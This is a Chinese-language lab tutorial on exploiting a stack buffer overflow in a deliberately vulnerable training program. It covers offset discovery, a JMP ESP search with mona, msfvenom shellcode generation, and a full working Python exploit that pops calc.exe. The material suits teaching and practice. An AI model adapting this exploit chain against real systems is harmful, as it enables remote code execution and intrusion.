点击订阅关注我哦
前
言
在当今数字化时代,软件的广泛应用为我们的生活带来了巨大的便利和效率提升。然而,随着软件规模和复杂性的不断增加,安全性问题也变得愈发突出。缓冲区溢出漏洞就是其中一种最常见和危险的安全漏洞,它可以被恶意黑客利用,导致严重的安全风险和损失。
本文将初步探讨缓冲区溢出漏洞的概念、原理以及相关的危害。我们将从基础开始,逐步引入相关概念,并提供实际案例作为说明。通过本文的阅读,读者将能够更好地理解缓冲区溢出漏洞的本质,并在开发和使用软件时采取相应的安全措施,以减少潜在的风险。
为什么写这一片文章
来自黄工的压迫和催促
说来话长,我只能说是一波三折!!!
最开始是一两个月前,黄工要求我写一篇技术文章;但当时正好在公司实验室发现一台云台款式的摄像头(去年做iot研究的时候采购来的设备,但是当时大部分时间精力都放在了某盒子的研究上所以忽略了这个摄像头),然后就寻思就拿这个摄像头写文章好了,但是最终并没拿到摄像头完整的固件包(想通过串口提的,但是最终也是没舍得拆),只通过在线更新拿到了一个几M的增量包(TMD),当时是挖了个逻辑设计缺陷的漏洞,但是想了想没完整包就没啥意思了;
后来黄某就想让我写某产品数控机床的某漏洞,但那个漏洞已经交给厂商,厂商已经在内部处理了,在未披露且没分配CVE的情况下我也不能对外发布!!
所以我就在家翻箱倒柜的发现了两个运营商的光猫设备,选其一带去公司研究(一顿拆,懂得都懂),后来通过串口调试和对固件的分析,也确实挖到了一堆漏洞,比如串口密码的泄露、系统后门文件、身份验证绕过、远程命令执行、以及未授权操作等一系列乱七八糟的漏洞;然后就把内容输出了个PPT糊弄给了黄工最终他不要!!!
其实当时还同时在挖某工控软件的漏洞,也确确实实挖掘到了缓冲区溢出,但是奈何它存在SafeSEH还有部分引用存在ASLR,绕了两周实在是执行不了shellcode只能当个拒绝服务用(TMD);但是没办法,最后想直接写一个demo,但最后看到github上有一个项目,就是存在缓冲区溢出漏洞的一个示例文件,直接下载拿来用!!!
用到了什么
1、Windows系统(建议使用win7 x86环境,但是我在文章中从初次运行到调试分析再到shellcode执行用的均不是同一个系统,因为我环境遗留问题,没得办法);
2、OD;
3、IDA;
4、Immunity Debuggeer;
5、Mona;
6、Kali;
7、存在缓冲区漏洞的exe文件
(https://github.com/justinsteven/dostackbufferoverflowgood)
开始
下载运行,看下程序具体长什么样子
OK,先拖进IDA看下基本结构
直接看入口函数,大概结构如下
节约时间,我们直接看程序的正常运行流程,入口处直接F5,查看伪代码
如上图所示,看这段伪代码
memset(&pHints.ai_addrlen, 0, 16);
//设置字节为0
pHints.ai_family = 2;
//使用本地的ipv4做为服务地址
pHints.ai_socktype = 1;
pHints.ai_protocol = 6;
//使用TCP套字节流
pHints.ai_flags = 1;
*(_DWORD *)v11 = getaddrinfo(0, pServiceName, &pHints, &ppResult);
//使用getaddrinfo来获取并存储主机目前的网络地址和服务信息
OK,那么跟下去,看下pServiceName
继续往下看,有了端口,那么就该找一下在建立连接后接受发送相关的代码或者函数了,那么如下图所示,这段代码整体来讲就是用来接收和处理套接字数据,但是根据接收的内容然后去执行相对应的操作,但是这并非重点,重点在于红框内的内容,即定义的缓冲区大小为58623
目前来看,已经把基本情况梳理清楚了,正常情况下程序运行后会开启31337端口,并使用本地的ipv4地址作为服务端ip开始运行,然后使其他主机与其建立TCP连接并发送并接收数据。
那么我们开始动手尝试,windows系统运行该程序,以防万一,使用nmap看下这个端口是否已经正常开启
好在先看了伪代码,不然我都不知道哪个是它的端口,电脑开放的端口实在太多了
如图所示,这个服务会一直在Hello Hello Hello,尝试用NC看看怎么个事儿
OK,还对上话了
那么现阶段就该尝试看能不能让它溢出了,我他吗直接给他一万个AAAA
镜头跟随来到服务端,看下这个逼死没死
程序成功崩溃,但是不确定是不是溢出导致的,所以图方便我们可以使用OD看下它是怎么个事儿(但是我虚拟机网络有点问题,我同时使用了好几台虚拟机配合着来的,现在换一个有OD的环境)
启动OD,加载程序,步进到程序运行的地方,我们在kali中开始nc并发送一堆A,然后程序抛出异常,且EBP和EIP已经全部变成了41414141,那么很显然这个时候通过缓冲区溢出EBP和EIP已经成功被我们使用AAAA给覆盖了,哦对, "41414141" 是十六进制表示的 ASCII 字符串 "AAAA"。也就是说我们可以通过缓冲区溢出来覆盖栈上的数据;
通俗来讲就是在缓冲区溢出攻击中,当输入的数据超出了缓冲区的容量并覆盖了其他变量或数据时,如果覆盖的内容正好是指针或地址,那么这个指针或地址将被误解为下一条将要执行的指令地址。因此,当输入的内容为 "AAAAAAAA" 或 "41414141" 时,它们可以被错误地解释为存储在 EIP(Extended Instruction Pointer)中的地址值,导致执行流程被劫持到这个地址处执行,可能触发崩溃或执行意外的代码。
事儿就是这么个事儿,情况就是这么个情况;溢出是成功溢出了,但是我那一大段A都是Ctrl+C Ctrl+V扔进去的,并不记得一共有多少,所以等下只能让kali来帮我找偏移量了。
那么我接下来需要再次更换个环境(每个环境上的工具不一样,没得办法)使用Immunity Debugger配合Mona来分析然后构造shellcode
运行程序,并在Immunity Debugger中Attace它
使用!mona modlues看下这程序存不存在保护机制
等下,环境出问题了,我重新安装个Python2
(骗你的我直接换个环境)
如上图所示,主程序实际上只开启了SafeSeh,先不用管,先计算一下偏移量
使用
Kali msf-pattern_create -l 20000
生成20000个规律字符,然后发送给服务端的指定端口,你可以使用nc发送也可以使用socket连接并发送数据
OK,我们生成的20000个字符已经发送完毕,程序也已经抛出异常,然后我们开始计算偏移量
输入命令
msf-pattern_offset -l 20000 -q 39654138
回车
原理就是先生成20000个字符用于发送至服务端,然后根据溢出时EIP被覆盖的数据用来计算一共被覆盖了多少位;显示结果为146,说明覆盖EIP地址的是第146个字符后面的字符,接下来就可以控制EIP的地址,需要让他跳转到我们的shellcode。(早知道146个字符它就顶不住了,我又何必使用20000个字符去折磨它呢?对不起我不知道你这么脆弱)
那么在此之前,我想用字符去确认一下偏移量是否准确,我们使用146个A,然后再使用4个B,看下EIP被覆盖的情况。
程序异常,EIP被覆盖为了42424242,也就是对应BBBB(至于为什么我前面已经说过了)
那么由此可见,偏移量计算准确,开始尝试做构造shellcode前的一个环节之一,也就是查找坏字符,虽然我们输入的内容会被转换为16进制的值,但是也并非它能接受任何值,比如说通用的坏字符例如“\x00”
然后我们寻找JMP ESP,查看可以让我们插入shellcode的地方
直接!mona jmp -r esp就可以,结果如下
0x080414c3 : jmp esp | {PAGE_EXECUTE_READ} [dostackbufferoverflowgood.exe] ASLR: False, Rebase: False, SafeSEH: True, OS: False, v-1.0- (C:\Users\Administrator\Desktop\dostackbufferoverflowgood.exe)
0x080416bf : jmp esp | {PAGE_EXECUTE_READ} [dostackbufferoverflowgood.exe] ASLR: False, Rebase: False, SafeSEH: True, OS: False, v-1.0- (C:\Users\Administrator\Desktop\dostackbufferoverflowgood.exe)
那么至于可不可用,就需要构造shellcode来试试其可用性了
使用
msfvenom -p windows/exec CMD="C:\windows\system32\calc.exe" -b '\x00\x0d' -f python -v code
那么分析完毕后我们使用win7 x86环境,使用kali生成x86的shellcode
生成弹窗计算器并且排除掉坏字符
那么生成shellcode后,我们就需要构造payload了
Payload=字符填充+JMP ESP+nop+shellcode
字符填充也就是偏移量的146个A;JMP ESP就是我们!mona jmp -r esp后显示的两个可以JMP ESP的地址,但是栈是先进后出的顺序,所以0x080414c3就需要反着来,就要写成\c3\14\04\08也就是\xc3\x14\x04\x08;0x080416bf就需要写成\bf\16\04\08也就是\xbf\x16\x04\x08
那么python如下
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('172.30.193.125',31337))
tc="A"*146
eip="\xc3\x14\x04\x08"
nop="\x90"*16
code = b""
code += b"\xdb\xd4\xd9\x74\x24\xf4\xb8\xab\xd9\x08\xbc\x5b"
code += b"\x29\xc9\xb1\x36\x31\x43\x18\x83\xeb\xfc\x03\x43"
code += b"\xbf\x3b\xfd\x40\x57\x39\xfe\xb8\xa7\x5e\x76\x5d"
code += b"\x96\x5e\xec\x15\x88\x6e\x66\x7b\x24\x04\x2a\x68"
code += b"\xbf\x68\xe3\x9f\x08\xc6\xd5\xae\x89\x7b\x25\xb0"
code += b"\x09\x86\x7a\x12\x30\x49\x8f\x53\x75\xb4\x62\x01"
code += b"\x2e\xb2\xd1\xb6\x5b\x8e\xe9\x3d\x17\x1e\x6a\xa1"
code += b"\xef\x21\x5b\x74\x64\x78\x7b\x76\xa9\xf0\x32\x60"
code += b"\xae\x3d\x8c\x1b\x04\xc9\x0f\xca\x55\x32\xa3\x33"
code += b"\x5a\xc1\xbd\x74\x5c\x3a\xc8\x8c\x9f\xc7\xcb\x4a"
code += b"\xe2\x13\x59\x49\x44\xd7\xf9\xb5\x75\x34\x9f\x3e"
code += b"\x79\xf1\xeb\x19\x9d\x04\x3f\x12\x99\x8d\xbe\xf5"
code += b"\x28\xd5\xe4\xd1\x71\x8d\x85\x40\xdf\x60\xb9\x93"
code += b"\x80\xdd\x1f\xdf\x2c\x09\x12\x82\x3a\xcc\xa0\xb8"
code += b"\x08\xce\xba\xc2\x3c\xa7\x8b\x49\xd3\xb0\x13\x98"
code += b"\x90\x4f\x5e\x81\xb0\xc7\x07\x53\x81\x85\xb7\x89"
code += b"\xc5\xb3\x3b\x38\xb5\x47\x23\x49\xb0\x0c\xe3\xa1"
code += b"\xc8\x1d\x86\xc5\x7f\x1d\x83\x85\x45\xbd\x5b\x63"
code += b"\xd7\x59\xcb\x04\x54\xfe\x60\x92\xe9\x8a\xe3\x09"
code += b"\x3e\x41\xb0\xb2\x21\xc9\x2b\x1b\xc4\x69\xc9\x63"
s.send(tc+eip+nop+code+'\r\n')
s.recv(1024)
Kali运行
python2 payload.py
然后运行后服务端成功执行shellcode,弹出计算器
注
这个文章我是分大概好几天的空闲时间写出来的,中间难免会有些不太连贯或者不够详细,所以在文末放几个其他的参考链接,以供综合参考
https://zhuanlan.zhihu.com/p/387321917
https://developer.aliyun.com/article/1115336